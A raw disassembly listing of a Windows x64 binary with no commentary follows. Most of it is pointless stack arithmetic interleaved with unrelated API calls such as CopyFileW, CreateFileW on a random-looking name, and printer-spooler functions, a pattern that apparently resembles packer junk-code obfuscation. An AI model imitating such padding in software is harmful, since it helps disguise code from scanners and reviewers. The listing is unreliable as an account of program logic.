mov word [rsp + 0x27f0], ax
mov rax, qword [rsp + 0x10650]
mov ecx, dword [rsp + 0x7fec]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x809c], eax
lea rax, [rsp + 0x2830]
mov qword [0x140281560], rax
movzx eax, byte [0x14023c039]
mov byte [rsp + 0x51e], al
mov rax, qword [rsp + 0x10860]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27dc]
add eax, ecx
mov word [rsp + 0x2818], ax
mov rax, qword [rsp + 0x10998]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe7], al
mov rcx, qword [rsp + 0x106d8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f94], eax
mov rax, qword [rsp + 0x10860]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x2818]
mov rdx, qword [rsp + 0x106e8]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
je 0x1401f0121
mov rax, qword [rsp + 0x10758]
mov ecx, dword [rsp + 0x80ec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x10650]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x10608]
mov edx, dword [rdx]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jb 0x1401f008d
movzx eax, byte [rsp + 0xf8]
mov byte [rsp + 0x51f], al
mov rax, qword [0x140281560]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x18a8]
and eax, ecx
mov rcx, qword [rsp + 0x10860]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x2084]
sub ecx, edx
cmp eax, ecx
jle 0x140022cb6
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov dword [rsp + 0x8110], eax
lea r9, [rsp + 0x10938]
lea r8, [rsp + 0x10a38]
mov rdx, qword [rsp + 0x10a40]
lea rcx, [rsp + 0x10a28]
call sub.VERSION.dll_VerQueryValueW
mov dword [rsp + 0x808c], eax
call fcn.1401f2180
jmp 0x1401f001c
mov rax, qword [rsp + 0x10528]
mov rcx, qword [0x14023c370]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10698], rax
lea rax, [rsp + 0x513]
mov qword [rsp + 0x10a48], rax
movzx eax, word [rsp + 0x27b4]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
and eax, ecx
movzx ecx, word [rsp + 0x1ff4]
mov rdx, qword [0x1402815b8]
movzx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jle 0x140022e85
lea r9, [rsp + 0x50e]
lea r8, [rsp + 0x809c]
lea rdx, [fcn.1401f2210]
mov rcx, qword [rsp + 0x10520]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x808c], eax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x10508]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10730], rax
mov rax, qword [rsp + 0x10978]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x512]
sub eax, ecx
mov byte [rsp + 0x50e], al
mov rax, qword [0x140281568]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x510]
sar eax, cl
mov byte [rsp + 0x51c], al
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x10570]
mov word [rcx], ax
lea r9, [rsp + 0x11a8]
lea r8, [rsp + 0x10638]
lea rdx, [fcn.1401f22f0]
mov rcx, qword [rsp + 0x10a50]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x80d4], eax
mov rax, qword [rsp + 0x10650]
mov rcx, qword [rsp + 0x10758]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8094], eax
mov rax, qword [rsp + 0xd1b0]
movzx ecx, al
mov rax, qword [rsp + 0x10548]
shl rax, cl
mov qword [rsp + 0x10588], rax
mov eax, dword [rsp + 0x7fc4]
mov ecx, dword [rsp + 0x70fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f88], eax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2820], ax
movzx eax, word [rsp + 0x279c]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14023c3a0], ax
call qword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov word [rsp + 0x1808], ax
jmp 0x1401efed5
movsx eax, word [0x14028158a]
movsx ecx, word [rsp + 0x112c]
imul eax, ecx
mov word [rsp + 0x27d8], ax
movzx eax, byte [rsp + 0x51f]
movzx ecx, byte [rsp + 0x405]
and eax, ecx
mov byte [rsp + 0x518], al
lea rax, [rsp + 0xfaa0]
mov qword [rsp + 0x10a58], rax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10508]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10740], rax
mov rax, qword [rsp + 0x10840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xeea0], rax
mov eax, dword [rsp + 0x8080]
mov ecx, dword [rsp + 0x80dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a58], eax
mov eax, dword [rsp + 0x7ddc]
mov ecx, dword [rsp + 0x80ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x800c], eax
movzx eax, word [rsp + 0x11b0]
mov word [rsp + 0x2854], ax
movzx eax, byte [0x14023c039]
mov byte [0x140281558], al
mov rax, qword [rsp + 0x108d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x512]
add eax, ecx
movsx ecx, byte [rsp + 0x4ef]
mov dword [rsp + 0x8114], ecx
movsx edx, byte [rsp + 0x413]
movzx ecx, dl
mov edx, dword [rsp + 0x8114]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140023123
movsx eax, byte [rsp + 0x51b]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x514], al
mov rax, qword [rsp + 0x10860]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x282c], ax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10670]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x10678]
mov qword [rcx], rax
mov rax, qword [0x140281560]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16a4], ax
xor r8d, r8d
mov rdx, qword [rsp + 0x10a60]
mov rcx, qword [rsp + 0x10880]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x10900]
mov rcx, qword [rsp + 0x10808]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10548], rax
mov rax, qword [rsp + 0x10850]
mov rcx, qword [rsp + 0x109a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x80dc], eax
mov eax, dword [rsp + 0x7f3c]
mov ecx, dword [rsp + 0x80e8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ef4], eax
movzx eax, word [rsp + 0x11b0]
mov rcx, qword [rsp + 0x107d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e88], ax
movzx eax, byte [rsp + 0x515]
movzx ecx, byte [rsp + 0x50f]
sub eax, ecx
mov byte [0x14023c03b], al
mov r8d, 0xf1
mov rdx, qword [rsp + 0x10a40]
mov rcx, qword [rsp + 0x10910]
call qword [sym.imp.KERNEL32.dll_GetLongPathNameW]
mov dword [rsp + 0x7f10], eax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x10968]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x106b8], rax
movzx eax, byte [0x14023c03d]
movzx ecx, byte [rsp + 0x51f]
add eax, ecx
mov rcx, qword [rsp + 0x10a48]
mov byte [rcx], al
jmp 0x140023235
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10538]
mov qword [rsp + 0x10a68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10a68]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x106a8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x10578]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x140023235
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27fc]
shl eax, cl
mov word [rsp + 0x18a8], ax
movzx eax, word [rsp + 0x2850]
mov word [rsp + 0x2858], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7f94], eax
lea rcx, [rsp + 0x23cf8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor r9d, r9d
lea r8, [rsp + 0x109e0]
mov rdx, qword [rsp + 0x104d8]
mov rcx, qword [rsp + 0x108c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x80d8], eax
mov rax, qword [rsp + 0x10898]
mov ecx, dword [rsp + 0x7fc4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x68f0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x10500]
shr rax, cl
mov qword [rsp + 0xeea0], rax
lea rax, [0x14023c390]
mov qword [rsp + 0x10a70], rax
mov rax, qword [rsp + 0x108d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd9]
or eax, ecx
mov byte [rsp + 0x514], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.arzxVO6puZKxwPSjsWRVg56tpH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x10a78], rax
movsx eax, byte [rsp + 0xd9]
movsx ecx, byte [rsp + 0x50e]
and eax, ecx
movsx ecx, byte [0x14023c038]
mov rdx, qword [rsp + 0x108d8]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
je 0x14002347b
mov rax, qword [rsp + 0x10860]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2820], ax
movzx eax, byte [rsp + 0x405]
movzx ecx, byte [0x140281558]
sub eax, ecx
mov byte [0x14023c039], al
lea rdx, [rsp + 0x7fd8]
mov rcx, qword [rsp + 0x10a18]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [rsp + 0x8074], eax
movzx eax, word [rsp + 0x1258]
movzx ecx, word [rsp + 0x2834]
add eax, ecx
mov word [rsp + 0x27cc], ax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdfa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10740], rax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10678]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10670], rax
mov rax, qword [rsp + 0x10758]
mov ecx, dword [rsp + 0x7fec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fd8], eax
mov rax, qword [rsp + 0x10850]
mov ecx, dword [0x14023c398]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f00], eax
xor r9d, r9d
lea r8, [rsp + 0x108b8]
lea rdx, [fcn.1401f2340]
mov rcx, qword [rsp + 0x108b8]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x7ffc], eax
mov rax, qword [rsp + 0x10808]
mov rcx, qword [rsp + 0x10900]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10858]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10998]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x518]
shl eax, cl
mov byte [rsp + 0x510], al
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2828], ax
movzx eax, word [rsp + 0x27d0]
mov rcx, qword [rsp + 0x107d0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14023c3b0], ax
movzx eax, byte [rsp + 0x519]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x10a28]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x10978]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x10a28]
movzx edx, byte [rax]
movzx ecx, byte [0x14023c038]
call fcn.1401f23c0
lea rax, [rsp + 0x10730]
mov qword [rsp + 0x10a80], rax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10678]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xea48], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x8118], eax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x107b0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x1b7], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x104f8], rax
mov rax, qword [rsp + 0x10918]
mov rax, qword [rax]
mov rcx, qword [0x14023c388]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov dword [rsp + 0x8110], eax
mov rax, qword [rsp + 0x10a28]
movzx eax, byte [rax]
mov byte [rsp + 0x520], al
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x80ac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x80e0], eax
lea rax, [rsp + 0x27e8]
mov qword [rsp + 0x10a88], rax
movzx eax, byte [rsp + 0x517]
movzx ecx, byte [rsp + 0xe7]
add eax, ecx
movzx ecx, byte [0x140281558]
movzx edx, byte [rsp + 0x2c4]
sub ecx, edx
cmp eax, ecx
jl 0x1401efdc2
mov rax, qword [rsp + 0x10a48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x51f], al
mov rax, qword [rsp + 0x10900]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10858]
mov qword [rsp + 0x10a90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10a90]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x10840]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x106c0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x14002371e
lea rdx, [rsp + 0x7368]
mov rcx, qword [rsp + 0x23bb8]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x69a8], eax
mov rax, qword [rsp + 0x10a48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51e]
sub eax, ecx
mov byte [0x14023c03c], al
movzx eax, word [rsp + 0x27b8]
movzx ecx, word [rsp + 0x2834]
sub eax, ecx
mov word [rsp + 0x27cc], ax
mov rax, qword [rsp + 0x10860]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2818]
sub eax, ecx
mov word [rsp + 0x2828], ax
mov rax, qword [rsp + 0x10860]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27d4]
and eax, ecx
mov word [rsp + 0x2830], ax
mov rax, qword [rsp + 0x10840]
mov rcx, qword [rsp + 0x10820]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xf2c0], rax
mov rax, qword [rsp + 0x10608]
mov ecx, dword [rsp + 0x80c8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x10758]
mov dword [rcx], eax
lea rdx, [rsp + 0x10500]
mov rcx, qword [rsp + 0x23bc0]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [rsp + 0xcd1c], eax
mov rax, qword [rsp + 0x10898]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x10720]
mov qword [rsp + 0x23bc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23bc8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7f54], eax
mov rax, qword [0x140281560]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14023c3a4], ax
movzx eax, word [rsp + 0x279c]
movzx ecx, word [rsp + 0x2844]
sub eax, ecx
mov word [rsp + 0x1ff4], ax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x106b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b0], rax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x102a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10810], rax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2830]
sub eax, ecx
mov word [rsp + 0x18a8], ax
mov rax, qword [rsp + 0x10918]
mov rcx, qword [rsp + 0x10858]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10588], rax
mov rax, qword [rsp + 0x109a0]
mov ecx, dword [rsp + 0x80ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x10720]
mov dword [rcx], eax
mov r8d, 8
mov edx, 0x73
lea rcx, [fcn.1401f22f0]
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
mov dword [rsp + 0x80fc], eax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80c4], eax
movzx eax, word [rsp + 0x1808]
movzx ecx, word [rsp + 0x281c]
sub eax, ecx
mov word [rsp + 0x2850], ax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
mov rcx, qword [0x140281568]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14023c039], al
movsx eax, byte [rsp + 0xd9]
mov rcx, qword [rsp + 0x10978]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x10a28]
mov byte [rcx], al
mov r8, qword [rsp + 0x10968]
mov rdx, qword [rsp + 0x105e8]
movzx ecx, byte [0x14023c039]
call fcn.1401f21c0
mov rax, qword [rsp + 0xea48]
mov rcx, qword [rsp + 0xd720]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b0], rax
mov eax, dword [rsp + 0x8024]
mov ecx, dword [0x14023c394]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7368], eax
mov rax, qword [rsp + 0x10898]
mov ecx, dword [rsp + 0x80ac]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x80f0], eax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10678]
mov qword [rsp + 0x23bd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23bd0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x108f8], rax
movsx eax, word [rsp + 0x27d8]
movsx ecx, word [rsp + 0x2820]
xor eax, ecx
mov word [0x14028158a], ax
movzx eax, word [rsp + 0x2824]
movzx ecx, word [rsp + 0x27d0]
sub eax, ecx
mov word [rsp + 0x1ff4], ax
mov ecx, 0xa9
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov qword [rsp + 0x10a38], rax
movzx eax, word [rsp + 0x2844]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11a8], ax
mov eax, dword [rsp + 0x7fd8]
mov ecx, dword [rsp + 0x6d20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x777c], eax
call fcn.1401f2020
lea rax, [rsp + 0x10858]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x7f9c]
mov r8d, dword [rsp + 0x803c]
lea rdx, [rsp + 0x10678]
mov rcx, qword [rsp + 0x10620]
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
mov dword [rsp + 0xcd1c], eax
mov rax, qword [rsp + 0x10840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xda68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10a00], rax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14023c39c], ax
lea rax, [rsp + 0x10868]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xbc
lea r9, [rsp + 0x10650]
mov r8d, 0x84
mov edx, 0x4f
mov rcx, qword [rsp + 0x10568]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0xcd20], eax
movzx eax, byte [rsp + 0x2c4]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x106c8]
movzx r8d, byte [0x14023c038]
mov rax, qword [rsp + 0x10608]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x10740]
call fcn.1401f2210
movzx eax, byte [rsp + 0x51a]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x516], al
mov rax, qword [rsp + 0x104b8]
mov rcx, qword [0x14023c380]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10930], rax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8090], eax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov ecx, dword [0x14023c390]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x80c4], eax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x107e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10508], rax
movsx eax, word [rsp + 0x282c]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140281570], ax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x279c], ax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2c4]
add eax, ecx
mov byte [rsp + 0x405], al
movsx eax, byte [rsp + 0x51b]
mov rcx, qword [rsp + 0x108d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x10978]
mov byte [rcx], al
mov edx, DrawInsert
mov rcx, qword [rsp + 0x109c0]
call qword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
mov dword [rsp + 0x8078], eax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x106a8]
mov qword [rsp + 0x23bd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23bd8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x108e8], rax
mov rax, qword [rsp + 0x10900]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104e8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x10500], rax
jmp 0x1401f0544
movzx eax, byte [rsp + 0x513]
movzx ecx, byte [rsp + 0x511]
sub eax, ecx
mov byte [rsp + 0x51a], al
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
movzx ecx, word [0x14023c3b0]
add eax, ecx
mov word [0x140281588], ax
mov rax, qword [rsp + 0x10730]
mov rcx, qword [rsp + 0x10640]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10670], rax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10730]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x104b8], rax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x10928]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x104b8], rax
xor r8d, r8d
mov rdx, qword [rsp + 0x109b8]
mov rcx, qword [rsp + 0x10908]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x7fcc], eax
movzx eax, word [rsp + 0x2824]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x107d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x108d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e2]
sub eax, ecx
mov byte [rsp + 0x51b], al
mov rax, qword [rsp + 0x10850]
mov rcx, qword [rsp + 0x10720]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7368], eax
mov eax, dword [0x1402815b0]
mov ecx, dword [rsp + 0x8094]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d20], eax
lea rax, [rsp + 0x10868]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x83
lea rax, [rsp + 0x8078]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x10720]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x109b8]
mov qword [rsp + 0x20], rax
mov r9d, 0x6b
mov r8, qword [rsp + 0x105e0]
mov edx, 0x4a
mov rcx, qword [rsp + 0x10568]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x8110], eax
mov dword [rsp + 0x28], 0x72
lea rax, [rsp + 0x10840]
mov qword [rsp + 0x20], rax
mov r9d, 0xd9
mov r8, qword [rsp + 0x23bb8]
mov rdx, qword [rsp + 0x10890]
mov rcx, qword [rsp + 0x10980]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x80c8], eax
mov rax, qword [rsp + 0x10808]
mov rcx, qword [rsp + 0x105e8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x10858]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68f0]
mov ecx, dword [rsp + 0x80b8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f00], eax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80c4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ddc], eax
movsx eax, word [rsp + 0x27d8]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1fe8], ax
lea rdx, [rsp + 0x23c18]
mov rcx, qword [rsp + 0x10568]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x80d4], eax
lea rax, [rsp + 0x7f9c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x10a98]
mov qword [rsp + 0x20], rax
mov r9d, 0xc9
lea r8, [rsp + 0x10868]
mov edx, 0x7e
mov rcx, qword [rsp + 0x10a98]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x7f78], eax
movzx eax, word [rsp + 0x27e8]
movzx ecx, word [rsp + 0x2834]
add eax, ecx
mov word [0x14023c39c], ax
movzx eax, byte [rsp + 0x518]
movzx ecx, byte [rsp + 0x510]
sub eax, ecx
mov byte [rsp + 0x515], al
mov rax, qword [rsp + 0x106b8]
mov rcx, qword [rsp + 0x108f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdfa0], rax
mov rax, qword [rsp + 0xfaa0]
mov rcx, qword [rsp + 0x107e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10740], rax
mov rax, qword [rsp + 0x10608]
mov ecx, dword [rsp + 0x80c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8078], eax
lea rax, [rsp + 0x10598]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8e
lea rax, [rsp + 0x10558]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x10758]
mov r8, qword [rsp + 0x10880]
mov rdx, qword [rsp + 0x10700]
mov rcx, qword [rsp + 0x10638]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x80c4], eax
mov rax, qword [rsp + 0x10898]
mov rcx, qword [rsp + 0x10850]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x80f0], eax
mov rax, qword [rsp + 0x10858]
mov rcx, qword [rsp + 0x10900]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51a]
sub eax, ecx
mov byte [rsp + 0x2fc], al
movzx eax, word [rsp + 0x27b8]
movzx ecx, word [rsp + 0x11a8]
or eax, ecx
mov word [rsp + 0x11b0], ax
jmp 0x1401f08c6
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2fc]
and eax, ecx
movzx ecx, byte [rsp + 0x516]
movzx edx, byte [rsp + 0x405]
imul ecx, edx
cmp eax, ecx
jle 0x1401f08c6
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
